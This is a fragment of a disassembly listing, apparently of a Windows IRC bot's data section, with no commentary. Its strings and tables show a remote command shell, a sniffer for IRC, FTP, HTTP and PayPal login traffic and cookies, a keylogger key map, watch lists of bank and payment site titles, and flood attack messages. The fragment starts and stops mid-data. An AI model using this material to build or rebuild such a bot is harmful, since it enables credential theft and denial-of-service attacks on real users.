'</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_41036B+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+328o ; sub_41036B+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o align 4 aS db '<%s>',0 ; DATA XREF: sub_41036B+2E9o ; sub_41036B+40Bo align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo aAm db 'AM',0 ; DATA XREF: sub_41036B+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_41036B+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_41036B+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41036B+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_435120 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410D6Eo aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o dword_435164 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410CB8o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0 unk_4351CC db 2Dh ; - ; DATA XREF: ___:00410E94o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_435214 db 2Dh ; - ; DATA XREF: ___:004110E6o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0 unk_435254 db 2Dh ; - ; DATA XREF: ___:0041101Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_435298 db 2Dh ; - ; DATA XREF: ___:004113A9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4352C4 db 2Dh ; - ; DATA XREF: ___:00411382o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_4352F0 db 2Dh ; - ; DATA XREF: ___:00411362o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o align 4 unk_43532C db 2Dh ; - ; DATA XREF: ___:004112A1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_435358 db 2Dh ; - ; DATA XREF: sub_4113C5:loc_41140Ao db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_435384 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_41141F+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_435520 db 2Dh ; - ; DATA XREF: sub_4116D6+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_435554 db 2Dh ; - ; DATA XREF: sub_4116D6+59o ; sub_4116D6+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_43559C db 2Dh ; - ; DATA XREF: sub_411827+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_4355C4 db 2Dh ; - ; DATA XREF: sub_411827+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_435604 db 2Dh ; - ; DATA XREF: sub_411827+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_435644 db 2Dh ; - ; DATA XREF: sub_411920+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411920+8Co align 4 dword_435684 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_4119F9+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h aFailedToSta_37 db '- Failed to start client thread, error: <%d>.',0 align 10h dd 234032Dh, 6B636F73h, 3023473h aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0 align 4 dd 4000500h, 7868746Bh, 2 dup(0) dword_435848 dd 6F672D65h, 646Ch, 1Eh dup(0) ; DATA XREF: ___:0041260Fo dd 6E676953h, 6E4920h, 1Eh dup(0) aHotmail db 'Hotmail',0 dd 1Eh dup(0) aWindowsLiveMes db 'Windows Live Messenger',0 align 10h dd 1Ah dup(0) aPaypal_1 db 'PayPal',0 align 10h dd 1Eh dup(0) aStormpay db 'StormPay',0 align 4 dd 1Dh dup(0) aStormpay_comAc db 'StormPay.com, Accept Online Payments',0 align 10h dd 16h dup(0) aWorldpay db 'WorldPay',0 align 4 dd 1Dh dup(0) dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0) dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0) aTerraFotolog db 'Terra - Fotolog',0 dd 1Ch dup(0) dd 6F686159h, 216Fh, 1Eh dup(0) dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0) aBienvenidoAGma db 'Bienvenido a Gmail',0 align 4 dd 1Bh dup(0) aWelcomeToGmail db 'Welcome to Gmail',0 align 4 dd 1Bh dup(0) aDomainNameRegi db 'Domain Name Registration',0 align 4 dd 19h dup(0) dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0) aMyAccountLogin db 'My Account Login',0 align 4 dd 1Bh dup(0) aMercadolivreBr db 'MercadoLivre Brasil',0 dd 1Bh dup(0) aWellsFargoHome db 'Wells Fargo Home Page',0 align 10h dd 1Ah dup(0) aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0 dd 19h dup(0) aEbay db 'eBay',0 align 10h dd 1Eh dup(0) aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport' db 'ing goods & more at low prices',0 dd 8 dup(0) db 49h ; I db 6Eh, 69h, 63h db 69h ; i db 61h, 72h, 20h db 73h ; s db 65h, 73h, 69h db 0F3h ; С aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor' db 'ting goods & more at low prices',0 align 4 dd 4 dup(0) dword_436448 dd 8, 62h, 62000000h, 2 dup(0) ; DATA XREF: ___:00412661o dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 41000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_436BB4 dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h ; DATA XREF: ___:0041262Do ; sub_41AF8F+EBo dd 6E727574h, 25282029h, 2973h, 252EBB2Eh, 2EAB2E73h, 65522820h dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h dd 2973h, 252EBB2Eh, 2EAB2E73h, 0 dd offset off_4374C0 dd offset off_4374BC dd offset off_4374B8 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00436C54o align 4 off_4374B8 dd offset word_505446 ; DATA XREF: ___:00436C50o off_4374BC dd offset aFailedToSta_36+25h ; DATA XREF: ___:00436C4Co off_4374C0 dd offset word_544F42 ; DATA XREF: ___:00436C48o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 4 aHashin db ':!hashin',0 ; DATA XREF: sub_412EEC+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412EEC+EEo align 10h aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EEC+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412EEC+C8o a_login db ':.Login',0 ; DATA XREF: sub_412EEC+B7o aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EEC+A6o aLogin_1 db ':!login',0 ; DATA XREF: sub_412EEC+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412EEC+84o a366 db '366 ',0 ; DATA XREF: sub_412EEC+73o align 4 a302_0 db '302 ',0 ; DATA XREF: sub_412EEC:loc_412F4Eo align 10h aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EEC+4Do align 4 aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412EEC+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EEC+2Bo align 10h aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EEC+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o aOper db 'oper ',0 ; DATA XREF: sub_413003+51o align 10h aNick_1 db 'NICK ',0 ; DATA XREF: sub_413003:loc_413043o ; sub_413079+2Bo align 4 aOper_0 db 'OPER ',0 ; DATA XREF: sub_413003+2Bo align 10h aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_413003+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_413079+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_413079+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_413079:loc_4130CAo align 4 a220 db '220 ',0 ; DATA XREF: sub_413079+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413079+5o align 4 aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413100+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_413100+62o align 10h aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_413100+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413100:loc_413140o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_413100+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413100+5o align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413187+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o align 4 aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413187+2Bo align 4 aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413187+5o align 4 unk_437734 db 2Dh ; - ; DATA XREF: sub_4131EC+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_43776C db 2Dh ; - ; DATA XREF: sub_4131EC+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4377A4 db 2Dh ; - ; DATA XREF: sub_4131EC+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_4377D8 db 2Dh ; - ; DATA XREF: sub_4131EC+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_43780C db 2Dh ; - ; DATA XREF: sub_4131EC+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_437840 db 2Dh ; - ; DATA XREF: sub_4131EC+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 10h unk_437870 db 2Dh ; - ; DATA XREF: sub_4131EC+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_4378C4 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_413694+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 